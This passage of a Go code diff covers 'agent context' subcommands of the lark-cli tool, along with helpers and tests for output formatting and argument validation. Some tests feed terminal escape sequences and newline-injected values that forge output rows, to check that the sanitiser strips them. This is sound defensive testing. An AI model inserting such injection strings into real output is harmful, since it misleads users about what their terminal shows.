if code := output.ExitCodeOf(err); code != output.ExitConfirmationRequired {
t.Fatalf("exit code should be 10, got %d", code)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
t.Fatalf("subtype should be confirmation_required, got %+v", p)
}
}
// TestContextDeleteWithYes pins the confirmed path: --yes reaches the provider,
// deletes the session, and emits a success envelope.
func TestContextDeleteWithYes(t *testing.T) {
opts, _ := contextTestOpts(t, "delete")
opts.CtxID = "sess_1"
opts.Yes = true
var deleted string
setScripted(t, scriptedHooks{deleteContext: func(ctxID string) error {
deleted = ctxID
return nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextDeleteRun(opts); err != nil {
t.Fatalf("context delete --yes should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["context_id"] != "sess_1" || data["deleted"] != true {
t.Errorf("data should echo {context_id, deleted:true}, got %v", env.Data)
}
if deleted != "sess_1" {
t.Errorf("provider should receive the context id to delete, got %q", deleted)
}
}
// TestContextDeleteProviderError surfaces a provider DeleteContext failure
// (non-zero business code) after --yes passes.
func TestContextDeleteProviderError(t *testing.T) {
opts, _ := contextTestOpts(t, "delete")
opts.CtxID = "sess_1"
opts.Yes = true
setScripted(t, scriptedHooks{deleteContext: func(string) error {
return errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentContextDeleteRun(opts); err == nil {
t.Fatal("a DeleteContext error should propagate")
}
}
// TestContextDeleteInvalidRef surfaces a malformed ref as a validation error
// after the --yes confirmation guard passes.
func TestContextDeleteInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentContextDeleteRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Yes: true, Cmd: contextCmdCtx(t, "delete"), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestContextListEmitsContexts pins that `context list` returns
// {contexts:[...]} with a meta.count.
func TestContextListEmitsContexts(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
return []iagent.ContextSummary{
{ContextID: "sess_1", Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
{ContextID: "sess_2"},
}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
contexts, ok := data["contexts"].([]interface{})
if !ok || len(contexts) != 2 {
t.Fatalf("data.contexts should have 2 entries, got %v", data["contexts"])
}
if env.Meta == nil || env.Meta.Count != 2 {
t.Errorf("meta.count should be 2, got %+v", env.Meta)
}
}
// TestContextListError surfaces a provider ListContexts failure.
func TestContextListError(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentContextListRun(opts); err == nil {
t.Fatal("a ListContexts error should propagate")
}
}
// TestContextListInvalidRef surfaces a malformed ref as a validation error.
func TestContextListInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentContextListRun(&contextOptions{Ref: "no-colon", Cmd: contextCmdCtx(t, "list"), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestContextGetEmitsDetail pins that `context get` returns a single context
// detail.
func TestContextGetEmitsDetail(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
return &iagent.ContextDetail{ContextID: ctxID, Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextGetRun(opts); err != nil {
t.Fatalf("context get should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["context_id"] != "sess_1" {
t.Errorf("data.context_id should be sess_1, got %v", data["context_id"])
}
if data["title"] != "销售分析" {
t.Errorf("data.title should be echoed, got %v", data["title"])
}
}
// TestContextGetError surfaces a provider GetContext failure.
func TestContextGetError(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
setScripted(t, scriptedHooks{getContext: func(string) (*iagent.ContextDetail, error) {
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentContextGetRun(opts); err == nil {
t.Fatal("a GetContext error should propagate")
}
}
// TestContextGetInvalidRef surfaces a malformed ref as a validation error.
func TestContextGetInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentContextGetRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Cmd: contextCmdCtx(t, "get"), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestContextListWithJq exercises the --jq output branch for list.
func TestContextListWithJq(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
opts.Cmd.Flags().String("jq", ".data.contexts | length", "")
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
return []iagent.ContextSummary{{ContextID: "sess_1"}}, nil
}})
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list --jq should not error: %v", err)
}
}
// TestContextListPretty exercises the --format pretty human-view branch for
// list: header TSV rows (not a JSON envelope), with the agent-controlled Title
// stripped of ANSI escapes.
func TestContextListPretty(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
opts.Format = "pretty"
setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
return []iagent.ContextSummary{
{ContextID: "sess_1", Title: "\x1b[2J销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list --format pretty should not error: %v", err)
}
s := string(out.Bytes())
if !strings.HasPrefix(s, "CONTEXT_ID\tCREATED_AT\tTITLE\n") {
t.Errorf("pretty output should start with a header row, got %q", s)
}
if !strings.Contains(s, "sess_1") || !strings.Contains(s, "销售分析") {
t.Errorf("pretty output should contain context_id and title, got %q", s)
}
if strings.Contains(s, "\x1b") {
t.Errorf("ANSI sequences in Title must be stripped: %q", s)
}
if strings.Contains(s, `"ok"`) {
t.Errorf("pretty output should be a human view, not a JSON envelope, got %q", s)
}
}
// TestContextGetWithJq pins the added --jq flag on context get: the envelope is
// filtered through the jq expression.
func TestContextGetWithJq(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
opts.Cmd.Flags().String("jq", "", "")
if err := opts.Cmd.Flags().Set("jq", ".data.context_id"); err != nil {
t.Fatal(err)
}
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
return &iagent.ContextDetail{ContextID: ctxID}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextGetRun(opts); err != nil {
t.Fatalf("context get --jq should not error: %v", err)
}
got := strings.TrimSpace(string(out.Bytes()))
if !strings.Contains(got, "sess_1") || strings.Contains(got, `"ok"`) {
t.Errorf("--jq .data.context_id should output only the filtered result, got %q", got)
}
}
// TestContextGetPretty pins the added --format pretty branch on context get:
// key: value lines with the tasks count, title ANSI-stripped.
func TestContextGetPretty(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
opts.Format = "pretty"
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
return &iagent.ContextDetail{
ContextID: ctxID, Title: "\x1b[31m销售分析\x1b[0m",
Tasks: []iagent.TaskSummary{{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}},
}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextGetRun(opts); err != nil {
t.Fatalf("context get --format pretty should not error: %v", err)
}
s := string(out.Bytes())
for _, want := range []string{"context_id: sess_1", "title: 销售分析", "tasks: 1"} {
if !strings.Contains(s, want) {
t.Errorf("pretty output should contain %q, got %q", want, s)
}
}
if strings.Contains(s, "\x1b") {
t.Errorf("ANSI sequences in title must be stripped: %q", s)
}
}
// findSub returns the direct subcommand of cmd whose Name() == name, or nil.
func findSub(cmd *cobra.Command, name string) *cobra.Command {
for _, c := range cmd.Commands() {
if c.Name() == name {
return c
}
}
return nil
}
// TestNewCmdAgentContext_GroupHasSubcommands pins the group is a pure group (no
// RunE) with list/get/delete leaves.
func TestNewCmdAgentContext_GroupHasSubcommands(t *testing.T) {
cmd := NewCmdAgentContext(nil)
if cmd.RunE != nil || cmd.Run != nil {
t.Error("agent context group should not have RunE")
}
want := []string{"list", "get", "delete"}
for _, name := range want {
if findSub(cmd, name) == nil {
t.Errorf("missing subcommand context %s", name)
}
}
}
// TestNewCmdAgentContextList_ReadRisk pins list = read risk, ExactArgs(1), and
// the default flip: --format defaults to json.
func TestNewCmdAgentContextList_ReadRisk(t *testing.T) {
cmd := NewCmdAgentContextList(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("context list should be marked read risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{}); err == nil {
t.Error("context list missing ref should report an argument error (ExactArgs 1)")
}
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
t.Errorf("context list with a single ref should be valid: %v", err)
}
fl := cmd.Flags().Lookup("format")
if fl == nil || fl.DefValue != "json" {
t.Errorf("context list --format default should flip to json, got %+v", fl)
}
}
// TestNewCmdAgentContextGet_ReadRisk pins get = read risk, ExactArgs(2), and
// the added --format / --jq flags.
func TestNewCmdAgentContextGet_ReadRisk(t *testing.T) {
cmd := NewCmdAgentContextGet(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
t.Errorf("context get should be marked read risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
t.Error("context get missing ctx-id should report an argument error (ExactArgs 2)")
}
if err := cmd.Args(cmd, []string{"example:x", "c1"}); err != nil {
t.Errorf("context get ref+ctx-id should be valid: %v", err)
}
for _, name := range []string{"format", "jq"} {
if cmd.Flags().Lookup(name) == nil {
t.Errorf("context get should have a --%s flag", name)
}
}
}
// TestNewCmdAgentContextDelete_HighRiskWrite pins delete = high-risk-write risk,
// ExactArgs(2), a --yes flag, and the added --format / --jq flags.
func TestNewCmdAgentContextDelete_HighRiskWrite(t *testing.T) {
cmd := NewCmdAgentContextDelete(nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskHighRiskWrite {
t.Errorf("context delete should be marked high-risk-write risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
t.Error("context delete missing ctx-id should report an argument error (ExactArgs 2)")
}
if cmd.Flags().Lookup("yes") == nil {
t.Error("context delete should have a --yes flag")
}
for _, name := range []string{"format", "jq"} {
if cmd.Flags().Lookup(name) == nil {
t.Errorf("context delete should have a --%s flag", name)
}
}
}

View File

@@ -1,183 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
// This file holds the --format surface shared by every agent leaf: value
// validation, the pretty renderers (task key:value view, list
// header-TSV views) with ANSI stripping for agent-controlled text, and the
// arg-count validators that wrap cobra's bare "accepts N arg(s)" into a typed
// validation error carrying a 用法 hint.
package agent
import (
"fmt"
"io"
"strings"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/validate"
)
// formatFlagHelp is the uniform --format help text across every agent leaf
// (json is the tree-wide default, pretty the human opt-in).
const formatFlagHelp = "output format: json (default) | pretty"
// validateFormat rejects any --format outside json|pretty as a
// validation/invalid_argument error (exit 2). The empty string is accepted for
// options structs built directly in tests; the registered flag default is
// "json" so a CLI invocation never passes "".
func validateFormat(format string) error {
switch format {
case "", "json", "pretty":
return nil
}
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"不支持的 --format 值 %q", format).
WithParam("--format").
WithHint("合法值: json | pretty")
}
// stripANSI sanitizes agent-controlled text before it is written raw to a
// terminal by a pretty renderer, preventing terminal escape-sequence injection.
// It delegates to validate.SanitizeForTerminal, which is a superset of the
// mandated CSI regex:
// it also drops OSC sequences, bare ESC / C0 control bytes and dangerous
// Unicode. JSON output paths must NOT use this — programmatic consumers get
// the raw data.
func stripANSI(s string) string {
return validate.SanitizeForTerminal(s)
}
// kvValue sanitizes an agent-controlled value for a single-line "key: value"
// pretty row: ANSI-stripped, then \n/\t collapsed to single spaces —
// SanitizeForTerminal deliberately preserves those, so without this a value
// like "done\nstate: completed" would forge an adjacent field row. TSV
// renderers keep plain stripANSI under their documented no-escape exemption.
func kvValue(s string) string {
s = stripANSI(s)
s = strings.ReplaceAll(s, "\n", " ")
return strings.ReplaceAll(s, "\t", " ")
}
// truncateRunes caps s at max runes, appending an ellipsis when truncated.
func truncateRunes(s string, max int) string {
r := []rune(s)
if len(r) <= max {
return s
}
return string(r[:max]) + "…"
}
// firstTextOf returns the first text Part carried by the task's messages
// (the first text message), or "".
func firstTextOf(task *iagent.AgentTask) string {
for _, m := range task.Messages {
for _, p := range m.Parts {
if p.Type == "text" && p.Text != "" {
return p.Text
}
}
}
return ""
}
// printTaskPretty renders the task-class pretty view: line-per-field
// key: value with state / task_id / context_id / first text message truncated
// to 120 runes / artifacts count. Every agent-controlled string goes through
// kvValue (ANSI strip + newline/tab neutralization) so it can neither inject
// terminal sequences nor forge an adjacent field row.
func printTaskPretty(w io.Writer, task *iagent.AgentTask) {
if task == nil {
fmt.Fprintln(w, "(no task)")
return
}
fmt.Fprintf(w, "state: %s\n", task.State)
fmt.Fprintf(w, "task_id: %s\n", kvValue(task.TaskID))
if task.ContextID != "" {
fmt.Fprintf(w, "context_id: %s\n", kvValue(task.ContextID))
}
if text := firstTextOf(task); text != "" {
fmt.Fprintf(w, "text: %s\n", truncateRunes(kvValue(text), 120))
}
fmt.Fprintf(w, "artifacts: %d\n", len(task.Artifacts))
}
// TSV renderers below intentionally do not escape tab/newline in cell values:
// a value containing them breaks the column layout. The agent's primary
// consumption surface is json; pretty is for human inspection only, so leaving
// them unescaped is acceptable.
// printTaskSummariesTSV renders the list-class pretty view for tasks:
// a header row naming the json fields, then one row per task.
func printTaskSummariesTSV(w io.Writer, tasks []iagent.TaskSummary) {
fmt.Fprintf(w, "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\n")
for _, t := range tasks {
fmt.Fprintf(w, "%s\t%s\t%s\t%t\n", stripANSI(t.TaskID), stripANSI(t.ContextID), t.State, t.IsTerminal)
}
}
// printContextsTSV renders the list-class pretty view for contexts. The
// Title is agent-controlled and must be ANSI-stripped.
func printContextsTSV(w io.Writer, contexts []iagent.ContextSummary) {
fmt.Fprintf(w, "CONTEXT_ID\tCREATED_AT\tTITLE\n")
for _, c := range contexts {
fmt.Fprintf(w, "%s\t%s\t%s\n", stripANSI(c.ContextID), c.CreatedAt, stripANSI(c.Title))
}
}
// printContextDetailPretty renders `context get --format pretty` as key: value
// lines with the tasks count; the agent-controlled Title (and the id) go
// through kvValue so they cannot forge adjacent field rows.
func printContextDetailPretty(w io.Writer, detail *iagent.ContextDetail) {
if detail == nil {
fmt.Fprintln(w, "(no context)")
return
}
fmt.Fprintf(w, "context_id: %s\n", kvValue(detail.ContextID))
if detail.CreatedAt != "" {
fmt.Fprintf(w, "created_at: %s\n", detail.CreatedAt)
}
if detail.Title != "" {
fmt.Fprintf(w, "title: %s\n", kvValue(detail.Title))
}
fmt.Fprintf(w, "tasks: %d\n", len(detail.Tasks))
}
// usageHintOf builds the "用法: <command path> <positional shape>" hint from
// the executing command's Use line, so the hint never drifts from the
// registered Use string.
func usageHintOf(cmd *cobra.Command) string {
if _, shape, ok := strings.Cut(cmd.Use, " "); ok {
return fmt.Sprintf("用法: %s %s", cmd.CommandPath(), shape)
}
return "用法: " + cmd.CommandPath()
}
// exactArgsWithUsage is cobra.ExactArgs wrapped into a typed validation error
// (exit 2) whose hint carries the full usage string — cobra's bare English
// "accepts 2 arg(s), received 1" never says WHAT is missing.
func exactArgsWithUsage(n int) cobra.PositionalArgs {
return func(cmd *cobra.Command, args []string) error {
if len(args) != n {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"需要 %d 个位置参数,收到 %d 个", n, len(args)).
WithHint("%s", usageHintOf(cmd))
}
return nil
}
}
// maximumArgsWithUsage is the cobra.MaximumNArgs counterpart of
// exactArgsWithUsage, for leaves with an optional positional (agent list).
func maximumArgsWithUsage(n int) cobra.PositionalArgs {
return func(cmd *cobra.Command, args []string) error {
if len(args) > n {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"最多接受 %d 个位置参数,收到 %d 个", n, len(args)).
WithHint("%s", usageHintOf(cmd))
}
return nil
}
}

View File

@@ -1,352 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"bytes"
"encoding/json"
"errors"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/output"
)
// TestValidateFormat_Valid pins that json/pretty (and the zero value, which
// only occurs when options structs are built directly in tests) pass.
func TestValidateFormat_Valid(t *testing.T) {
for _, f := range []string{"", "json", "pretty"} {
if err := validateFormat(f); err != nil {
t.Errorf("format %q should be valid: %v", f, err)
}
}
}
// TestValidateFormat_Invalid pins that a --format outside json|pretty is a
// validation/invalid_argument error (exit 2) whose hint lists the legal values
// and whose param names the flag with the -- prefix.
func TestValidateFormat_Invalid(t *testing.T) {
err := validateFormat("yaml")
if err == nil {
t.Fatal("--format yaml should error (currently silently treated as json)")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
}
if !strings.Contains(p.Hint, "json | pretty") {
t.Errorf("hint should list the legal values json | pretty, got %q", p.Hint)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--format" {
t.Errorf("param should be --format, got %+v", verr)
}
}
// agentRootTree builds `lark-cli agent ...` as production wires it (root Use
// lark-cli), with a nil Factory: format validation must fire at the RunE
// entry, before any Factory access.
func agentRootTree() *cobra.Command {
root := &cobra.Command{Use: "lark-cli", SilenceUsage: true, SilenceErrors: true}
root.AddCommand(NewCmdAgent(nil))
return root
}
// TestFormatYamlRejectedAcrossLeaves pins that EVERY leaf of the agent tree
// consumes validateFormat: `--format yaml` is exit 2 with the json|pretty
// hint, uniformly, before any provider/Factory is touched.
func TestFormatYamlRejectedAcrossLeaves(t *testing.T) {
leaves := [][]string{
{"agent", "list", "--format", "yaml"},
{"agent", "card", "example:x", "--format", "yaml"},
{"agent", "send", "example:x", "--text", "hi", "--format", "yaml"},
{"agent", "task", "get", "example:x", "t1", "--format", "yaml"},
{"agent", "task", "list", "example:x", "--format", "yaml"},
{"agent", "task", "cancel", "example:x", "t1", "--format", "yaml"},
{"agent", "context", "list", "example:x", "--format", "yaml"},
{"agent", "context", "get", "example:x", "c1", "--format", "yaml"},
{"agent", "context", "delete", "example:x", "c1", "--yes", "--format", "yaml"},
}
for _, argv := range leaves {
t.Run(strings.Join(argv[:len(argv)-2], " "), func(t *testing.T) {
root := agentRootTree()
root.SetOut(&bytes.Buffer{})
root.SetErr(&bytes.Buffer{})
root.SetArgs(argv)
err := root.Execute()
if err == nil {
t.Fatalf("%v should report a --format validation error", argv)
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T: %v", err, err)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
}
p, ok := errs.ProblemOf(err)
if !ok || !strings.Contains(p.Hint, "json | pretty") {
t.Errorf("hint should contain json | pretty, got %+v", p)
}
})
}
}
// TestFormatHelpTextUniform pins the mandated uniform help text
// "output format: json (default) | pretty" across every leaf that has --format.
func TestFormatHelpTextUniform(t *testing.T) {
cmds := map[string]*cobra.Command{
"list": NewCmdAgentList(nil),
"card": NewCmdAgentCard(nil),
"send": NewCmdAgentSend(nil, nil),
"task get": NewCmdAgentTaskGet(nil),
"task list": NewCmdAgentTaskList(nil),
"task cancel": NewCmdAgentTaskCancel(nil),
"context list": NewCmdAgentContextList(nil),
"context get": NewCmdAgentContextGet(nil),
"context delete": NewCmdAgentContextDelete(nil),
}
for name, cmd := range cmds {
fl := cmd.Flags().Lookup("format")
if fl == nil {
t.Errorf("%s should have a --format flag", name)
continue
}
if fl.DefValue != "json" {
t.Errorf("%s --format default should be json, got %q", name, fl.DefValue)
}
if fl.Usage != "output format: json (default) | pretty" {
t.Errorf("%s --format help should be uniform, got %q", name, fl.Usage)
}
}
}
// TestStripANSI pins that CSI sequences, OSC sequences and bare ESC bytes are
// all removed before agent text reaches a terminal.
func TestStripANSI(t *testing.T) {
for _, tt := range []struct{ in, want string }{
{"before\x1b[31mred\x1b[0mafter", "beforeredafter"},
{"a\x1bb", "ab"}, // bare ESC
{"t\x1b]0;evil\x07x", "tx"},
{"clean 文本", "clean 文本"},
} {
if got := stripANSI(tt.in); got != tt.want {
t.Errorf("stripANSI(%q) = %q, want %q", tt.in, got, tt.want)
}
}
}
// TestPrintTaskPretty pins the task-class pretty spec: line-per-field
// key: value with state / task_id / context_id / first text message truncated
// to 120 runes / artifacts count — and the agent-controlled text stripped of
// ANSI escapes.
func TestPrintTaskPretty(t *testing.T) {
long := strings.Repeat("字", 130)
task := &iagent.AgentTask{
TaskID: "chat_1",
ContextID: "sess_1",
State: iagent.StateCompleted,
Messages: []iagent.Message{{
Role: "agent",
Parts: []iagent.Part{{Type: "text", Text: "\x1b[31m" + long + "\x1b[0m"}},
}},
Artifacts: []iagent.Artifact{{ID: "a1"}, {ID: "a2"}},
}
out := &bytes.Buffer{}
printTaskPretty(out, task)
text := out.String()
for _, want := range []string{"state: completed", "task_id: chat_1", "context_id: sess_1", "artifacts: 2"} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in agent body text must be stripped: %q", text)
}
if strings.Contains(text, long) {
t.Errorf("body should be truncated to 120 chars, the full 130-char body should not appear")
}
if !strings.Contains(text, strings.Repeat("字", 120)) {
t.Errorf("body should keep the first 120 chars, got:\n%s", text)
}
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Errorf("pretty should not be a JSON envelope: %s", text)
}
}
// TestPrintTaskPretty_NewlineForgeryNeutralized pins the key:value forgery
// fix: agent text containing newlines must not be able to fake an adjacent
// field row ("done\nstate: completed") — \n/\t in single-line values collapse
// to spaces, so exactly one state: line exists.
func TestPrintTaskPretty_NewlineForgeryNeutralized(t *testing.T) {
task := &iagent.AgentTask{
TaskID: "chat_1",
State: iagent.StateFailed,
Messages: []iagent.Message{{
Role: "agent",
Parts: []iagent.Part{{Type: "text", Text: "done\nstate: completed\tok"}},
}},
}
out := &bytes.Buffer{}
printTaskPretty(out, task)
var stateLines int
for _, line := range strings.Split(out.String(), "\n") {
if strings.HasPrefix(line, "state: ") {
stateLines++
}
}
if stateLines != 1 {
t.Fatalf("body newlines must not forge an adjacent field row; there should be exactly 1 state: line, got %d:\n%s", stateLines, out.String())
}
if !strings.Contains(out.String(), "state: failed") {
t.Errorf("the real state line should remain, got:\n%s", out.String())
}
if !strings.Contains(out.String(), "text: done state: completed ok") {
t.Errorf("\\n/\\t in the body should be replaced by spaces, got:\n%s", out.String())
}
}
// TestPrintContextDetailPretty_NewlineForgeryNeutralized pins the same fix on
// the context title row.
func TestPrintContextDetailPretty_NewlineForgeryNeutralized(t *testing.T) {
out := &bytes.Buffer{}
printContextDetailPretty(out, &iagent.ContextDetail{
ContextID: "sess_1",
Title: "标题\ncontext_id: forged",
})
var idLines int
for _, line := range strings.Split(out.String(), "\n") {
if strings.HasPrefix(line, "context_id: ") {
idLines++
}
}
if idLines != 1 {
t.Fatalf("title newlines must not forge a context_id row; there should be exactly 1 line, got %d:\n%s", idLines, out.String())
}
}
// TestPrintTaskPretty_NilTask pins the nil degradation (no panic).
func TestPrintTaskPretty_NilTask(t *testing.T) {
out := &bytes.Buffer{}
printTaskPretty(out, nil)
if out.Len() == 0 {
t.Error("nil task should print a placeholder line")
}
}
// TestPrintTaskSummariesTSV pins the list-class pretty spec: a header row
// naming the json fields, then one tab-separated row per task.
func TestPrintTaskSummariesTSV(t *testing.T) {
out := &bytes.Buffer{}
printTaskSummariesTSV(out, []iagent.TaskSummary{
{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateCompleted, IsTerminal: true},
})
lines := strings.Split(strings.TrimSpace(out.String()), "\n")
if len(lines) != 2 {
t.Fatalf("should have a header + 1 data row, got %q", out.String())
}
if lines[0] != "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL" {
t.Errorf("header columns should match the json field names, got %q", lines[0])
}
if lines[1] != "chat_1\tsess_1\tcompleted\ttrue" {
t.Errorf("data row mismatch, got %q", lines[1])
}
}
// TestPrintContextsTSV pins the context-list pretty spec: header row plus
// rows, with the agent-controlled Title stripped of ANSI escapes (Task 10
// review fix).
func TestPrintContextsTSV(t *testing.T) {
out := &bytes.Buffer{}
printContextsTSV(out, []iagent.ContextSummary{
{ContextID: "sess_1", CreatedAt: "2026-07-05T10:00:00+08:00", Title: "\x1b[2J销售分析"},
})
text := out.String()
if !strings.HasPrefix(text, "CONTEXT_ID\tCREATED_AT\tTITLE\n") {
t.Errorf("should have a header row, got %q", text)
}
if !strings.Contains(text, "销售分析") {
t.Errorf("should contain the title text, got %q", text)
}
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in Title must be stripped: %q", text)
}
}
// TestPrintContextDetailPretty pins the context-get pretty rendering:
// key: value lines with the tasks count, title ANSI-stripped.
func TestPrintContextDetailPretty(t *testing.T) {
out := &bytes.Buffer{}
printContextDetailPretty(out, &iagent.ContextDetail{
ContextID: "sess_1",
CreatedAt: "2026-07-05T10:00:00+08:00",
Title: "\x1b[31m分析\x1b[0m",
Tasks: []iagent.TaskSummary{{TaskID: "chat_1"}},
})
text := out.String()
for _, want := range []string{"context_id: sess_1", "title: 分析", "tasks: 1"} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
if strings.Contains(text, "\x1b") {
t.Errorf("ANSI sequences in title must be stripped: %q", text)
}
}
// TestExactArgsUsageHint pins that an arg-count error carries a usage hint
// built from the real command path + Use shape, so the caller learns what is
// missing instead of cobra's bare "accepts 2 arg(s)".
func TestExactArgsUsageHint(t *testing.T) {
root := agentRootTree()
root.SetOut(&bytes.Buffer{})
root.SetErr(&bytes.Buffer{})
root.SetArgs([]string{"agent", "task", "get", "example:x"}) // missing task-id
err := root.Execute()
if err == nil {
t.Fatal("task get with a single argument should error")
}
if !errs.IsValidation(err) {
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
}
p, ok := errs.ProblemOf(err)
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent task get <agent_ref> <task-id>") {
t.Fatalf("hint should contain the usage string, got %+v", p)
}
if output.ExitCodeOf(err) != output.ExitValidation {
t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
}
}
// TestMaximumArgsUsageHint pins the same treatment for the MaximumNArgs leaf
// (`agent list [scheme]`).
func TestMaximumArgsUsageHint(t *testing.T) {
root := agentRootTree()
root.SetOut(&bytes.Buffer{})
root.SetErr(&bytes.Buffer{})
root.SetArgs([]string{"agent", "list", "example", "extra"})
err := root.Execute()
if err == nil {
t.Fatal("list with more than 1 positional argument should error")
}
if !errs.IsValidation(err) {
t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
}
p, ok := errs.ProblemOf(err)
if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent list [scheme]") {
t.Fatalf("hint should contain the usage string, got %+v", p)
}
}

View File

@@ -1,199 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"fmt"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
